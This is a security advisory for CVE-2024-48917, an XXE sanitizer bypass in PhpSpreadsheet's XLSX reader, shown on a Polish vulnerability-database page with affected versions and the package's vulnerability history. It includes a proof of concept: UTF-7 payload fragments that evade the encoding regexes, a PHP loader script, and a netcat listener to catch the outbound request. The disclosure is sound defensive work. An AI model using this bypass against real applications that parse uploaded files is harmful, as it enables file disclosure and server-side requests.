XXE in PHPSpreadsheet's XLSX reader
Summary
The XmlScanner class has a scan method which should prevent XXE attacks.
However, we found another bypass than the previously reported CVE-2024-47873, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value encoding="UTF-8" with ", which is matched by the first regex, so that encoding='UTF-7' with single quotes ' in the XML header is not matched by the second regex:
$patterns = [
'/encoding\\s*=\\s*"([^"]*]?)"/',
"/encoding\\s*=\\s*'([^']*?)'/",
];A payload for the workbook.xml file can for example be created with CyberChef.
If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.
To create the payload you need:
- Create a file containing
<?xml version = "1.0" encoding='UTF-7'in an XML file - Use the link attached above to create your XXE payload and add it to the XML file.
- Add
+ADw-+ACE---encoding="UTF-8"--+AD4-to the end of the XML file, which is matched by the first regex.
PoC
- Create a new folder.
- Run the
composer require phpoffice/phpspreadsheetcommand in the new folder. - Create an
index.phpfile in that folder with the following content:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
$spreadsheet = new Spreadsheet();
$inputFileType = 'Xlsx';
$inputFileName = './payload.xlsx';
/** Create a new Reader of the type defined in $inputFileType **/
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
/** Advise the Reader that we only want to load cell data **/
$reader->setReadDataOnly(true);
$worksheetData = $reader->listWorksheetInfo($inputFileName);
foreach ($worksheetData as $worksheet) {
$sheetName = $worksheet['worksheetName'];
echo "<h4>$sheetName</h4>";
/** Load $inputFileName to a Spreadsheet Object **/
$reader->setLoadSheetsOnly($sheetName);
$spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet();
print_r($worksheet->toArray());
}- Run the following command:
php -S 127.0.0.1:8080 - Add the payload.xlsx file in the folder and open https://127.0.0.1:8080 in a browser. You will see an HTTP request on netcat http://127.0.0.1:12345/ext.dtd.
Impact
An attacker can bypass the sanitizer and achieve an XXE attack.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka Composer | phpoffice/phpexcel | <= 1.8.2 | brak poprawki |
| Paczka Composer | phpoffice/phpspreadsheet | < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 | 1.29.4, 2.1.3, 2.3.2, 3.4.0 |
Odnośniki
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjp
- https://nvd.nist.gov/vuln/detail/CVE-2024-48917
- https://github.com/PHPOffice/PhpSpreadsheet
- https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Słabość (CWE)
CWE-611- Platforma
- Composer
- Paczka
phpoffice/phpexcel, phpoffice/phpspreadsheet- Ujawniono
- 18.11.2024
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-7cc9-j4mv-vcjp - CC BY 4.0
Historia podatności: phpoffice/phpexcel
Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 23
- Pierwsza → ostatnia
- 11.2019 02.2025
- Bez poprawki
- 20
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 12
- Średnia 10
- Niska 1
Ujawnienia w latach
- 2019: 2
- 2020: 0
- 2021: 1
- 2022: 1
- 2023: 0
- 2024: 10
- 2025: 9
- 2026: 0
-
XXE in PHPSpreadsheet's XLSX reader ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.